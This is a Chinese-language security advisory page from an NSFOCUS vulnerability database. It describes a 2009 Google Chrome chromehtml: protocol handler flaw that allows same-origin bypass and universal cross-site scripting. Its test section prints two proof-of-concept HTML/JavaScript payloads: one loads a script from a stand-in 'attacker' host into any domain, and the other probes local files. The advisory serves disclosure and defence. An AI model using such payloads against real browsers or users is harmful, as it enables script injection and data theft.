绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

Google Chrome chromehtml:协议处理器绕过同源策略限制漏洞

发布日期：2009-04-23
更新日期：2009-04-27

受影响系统：

Google Chrome 1.x

不受影响系统：

Google Chrome 1.0.154.59

描述：

BUGTRAQ  ID: 34704
CVE(CAN) ID: CVE-2009-1340,CVE-2009-1414,CVE-2009-1413,CVE-2009-1412

Google Chrome是Google发布的开源WEB浏览器。

Chrome的chromehtml:协议处理器没有正确地处理ChromeHTML URI，如果用户受骗在Internet Explorer点击了特制链接的话，就可能无需任何交互便在Chrome中启动任意URI，并通过命令行参数执行JAVASCRIPT代码。结合上述两个漏洞，远程攻击者可以枚举本地文件或文件夹，或在任意域的安全环境中执行任意HTML和脚本代码。

<*来源：Roi Saltzman

  链接：http://secunia.com/advisories/34900/
        http://blog.watchfire.com/files/google-chrome-advisory.doc
        http://blog.watchfire.com/wfblog/2009/04/google-chrome-universal-xss-vulnerability-.html
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<script>
document.location = 'chromehtml:"80 javascript:document.write(
unescape(\'<script%20src=http://attacker/mailicious.js></script>\'))"';
</script>
</html>

<html>
<script>
document.location = 'chromehtml:"80%20c:/exists%20c:/nonexisting%20http://attacker/dirchecker.html"';
</script>
</html>

建议：

厂商补丁：

Google
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.google.com

浏览次数：2542
严重程度：0（网友投票）

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客